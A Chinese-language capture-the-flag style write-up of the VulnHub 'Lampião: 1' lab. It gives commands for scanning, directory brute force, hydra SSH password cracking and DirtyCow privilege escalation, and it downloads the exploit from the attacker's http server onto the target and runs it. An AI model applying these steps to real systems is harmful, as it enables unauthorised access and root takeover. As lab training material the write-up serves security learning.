《VulnHub》Lampião:1

发布于:2024-03-29 ⋅ 阅读:(26) ⋅ 点赞:(0)

title: 《VulnHub》Lampião:1
date: 2024-03-28 21:37:49
updated: 2024-03-28 21:37:50
categories: WriteUp:Cyber-Range
excerpt: 关键技术:主机发现,端口扫描、服务探测、操作系统探测,对开放的端口探测漏洞,dirb 爆破网站目录,cewl 创建社工密码字典,hydra 破解 ssh 密钥,使用 sh 脚本检测 Linux 系统的安全缺陷,在目录下开启简单 http 服务,40847 DirtyCow 利用。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png



VulnHub 打靶记录。
VulnHub 官网:https://www.vulnhub.com

攻击机为 Kali-Linux-2023.3-vmware-amd64。
Kali NAT IP:192.168.8.10。

1:靶场信息

靶场地址:
https://www.vulnhub.com/entry/lampiao-1,249/

2:打靶

2.1:情报收集 & 威胁建模

主机发现
nmap -sn 192.168.8.0/24

在这里插入图片描述

确定目标 IP 为 192.168.8.139。

进行端口扫描、服务探测、操作系统探测
nmap 192.168.8.139 -p- -sV -sC -O

在这里插入图片描述

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-10 15:23 HKT
Nmap scan report for 192.168.8.139
Host is up (0.00076s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
|   2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)
|   256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)
|_  256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)
80/tcp   open  http?
1898/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Lampi\xC3\xA3o
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
MAC Address: 00:0C:29:3E:06:9F (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.24 seconds

对开放的端口探测漏洞
nmap 192.168.8.139 -p 22,80,1898 --script=vuln

在这里插入图片描述

根据之前得到的信息访问一下 80 端口。

在这里插入图片描述

查看源码也没有发现什么信息。那就访问一下 1898 端口。

在这里插入图片描述

发现一篇文章可以点击。

在这里插入图片描述

遍历一下网页节点,发现两个信息。

在这里插入图片描述

qrc.png 是一张二维码,扫描后没有有用的信息。

在这里插入图片描述

在这里插入图片描述

audio.m4a 是一段音频。

在这里插入图片描述

播放后可以听到以下信息:

user tiago

以下这个页面也是没有什么有效信息。

在这里插入图片描述

尝试爆破一下网页目录
dirb http://192.168.8.139:1898/

在这里插入图片描述

爆破多级目录
dirb http://192.168.8.139:1898/ -w

在这里插入图片描述

没有爆破出什么有用信息。倒是在 robots.txt 文件中发现一个 CHANGELOG.txt 文件

在这里插入图片描述

在这里可以看到 CMS 版本:Drupal 7.54, 2017-02-01

在这里插入图片描述

至此页面没啥可获取的信息了。发挥一下这个网站的余热,用它来生成一份社工性质的字典。

使用 cewl 通过爬虫获取关键信息创建一个密码字典
cewl http://192.168.8.139:1898/ -w cewl.txt

在这里插入图片描述

2.2:漏洞分析 & 渗透攻击

根据前面获取的 user tiago 信息,尝试爆破一下 ssh 密码。

hydra 爆破 ssh 密钥
hydra -l tiago -P cewl.txt 192.168.8.139 ssh

在这里插入图片描述

成功爆破出账号密码。

host: 192.168.8.139   login: tiago   password: Virgulino

使用刚刚获得的用户登录 ssh。

在这里插入图片描述

也可以使用 MSF 利用 Drupal 漏洞进行渗透攻击。这里不做记录。

2.3:后渗透

谷歌搜索一下 Linux 相关检测脚本,可以检测 Linux 上的安全缺陷。关键字:linux exploit suggest

在这里插入图片描述

https://github.com/The-Z-Labs/linux-exploit-suggester

可以用推荐的命令快速下载:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

在这里插入图片描述

在这里插入图片描述

在相应目录下开启一个简单的 http 服务,便于目标机器下载相应利用代码。
python3 -m http.server 8088

在这里插入图片描述

目标机器中,进入 /tmp/ 目录,下载。
wget http://192.168.8.15:8088/les.sh

在这里插入图片描述

赋权并运行,检测目标机器上的安全缺陷。

在这里插入图片描述

安全缺陷枚举信息如下(只列出一部分):

tiago@lampiao:/tmp$ chmod +x les.sh 
tiago@lampiao:/tmp$ ./les.sh 

Available information:

Kernel version: 4.4.0
Architecture: i686
Distribution: ubuntu
Distribution version: 14.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS

Searching among:

81 kernel space exploits
49 user space exploits

Possible Exploits:

[+] [CVE-2016-5195] dirtycow

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]
   Download URL: https://www.exploit-db.com/download/40611
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-5195] dirtycow 2

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
   Download URL: https://www.exploit-db.com/download/40839
   ext-url: https://www.exploit-db.com/download/40847
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)

   Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
   Exposure: less probable
   Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
   Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2022-2586] nft_object UAF

   Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
   Exposure: less probable
   Tags: ubuntu=(20.04){kernel:5.12.13}
   Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: mint=19,ubuntu=18|20, debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2016-0728] keyring

   Details: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/40003
   Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-working

tiago@lampiao:/tmp$ 

同时查看一下目标系统 sudo 命令版本信息
sudo --version

在这里插入图片描述

注意到目标系统存在 “ 脏牛 ” 漏洞。查找一下可用 exp。
searchsploit 40847

在这里插入图片描述

查找一下相关的信息。

在这里插入图片描述

可以看到利用信息。

https://www.exploit-db.com/exploits/40847

在这里插入图片描述

将 kali 上的 exp 拷贝到某个目录,并开启 http 服务,将 exp 上传至目标。

cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /root/Desktop/lampiao/
python3 -m http.server 8088

wget http://192.168.8.15:8088/40847.cpp

在这里插入图片描述

编译为可执行文件并运行

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o myexp 40847.cpp -lutil
./myexp

在这里插入图片描述

利用成功,使用以上密码(dirtyCowFun)即可登录 root。

ssh root@192.168.8.139

在这里插入图片描述

在这里插入图片描述

完结。

3:总结

3.1:命令 & 工具

3.1.1:Nmap

部分选项

参数 介绍
-sn Ping Scan - disable port scan
-sV Probe open ports to determine service/version info
-sC equivalent to --script=default
-O Enable OS detection
--script=<Lua scripts> <Lua scripts> is a comma separated list of directories, script-files or script-categories

nmap 脚本

  • --script=default:默认的脚本,提供一些基本的漏洞探测和信息收集。
  • --script=vuln:用于检测目标系统上的漏洞。

3.1.2:dirb

dirb,kali linux 下的一个 web 网站目录爆破工具。

部分选项

参数 介绍
-w Don't Stop on WARNING messages.

《Dirb工具web网站目录爆破指南》:
https://zhuanlan.zhihu.com/p/267973016

3.2:关键技术

  • 主机发现
    nmap -sn <ip cidr>

  • 端口扫描、服务探测、操作系统探测
    nmap <target> -p- -sV -sC -O

  • 对开放的端口探测漏洞
    nmap <target> -p <port> --script=vuln

  • 爆破网站目录
    dirb <url> [-w]

  • 爬取网页,创建社工密码字典
    cewl <url> -w <txt file>

  • hydra 破解 ssh 密钥
    hydra -l <user> -P <password file> <target> ssh

  • 使用 sh 脚本检测 Linux 系统的安全缺陷。项目地址:https://github.com/The-Z-Labs/linux-exploit-suggester

  • 在目录下开启简单 http 服务
    python3 -m http.server 8088

  • 查找 kali 自带的 exp
    searchsploit <id>

  • 40847 DirtyCow 利用
    https://www.exploit-db.com/exploits/40847
    g++ -Wall -pedantic -O2 -std=c++11 -pthread -o myexp 40847.cpp -lutil


贫贱非辱,贫贱而谄求于人者为辱。

——《围炉夜话》(清)王永彬

本文含有隐藏内容,请 开通VIP 后查看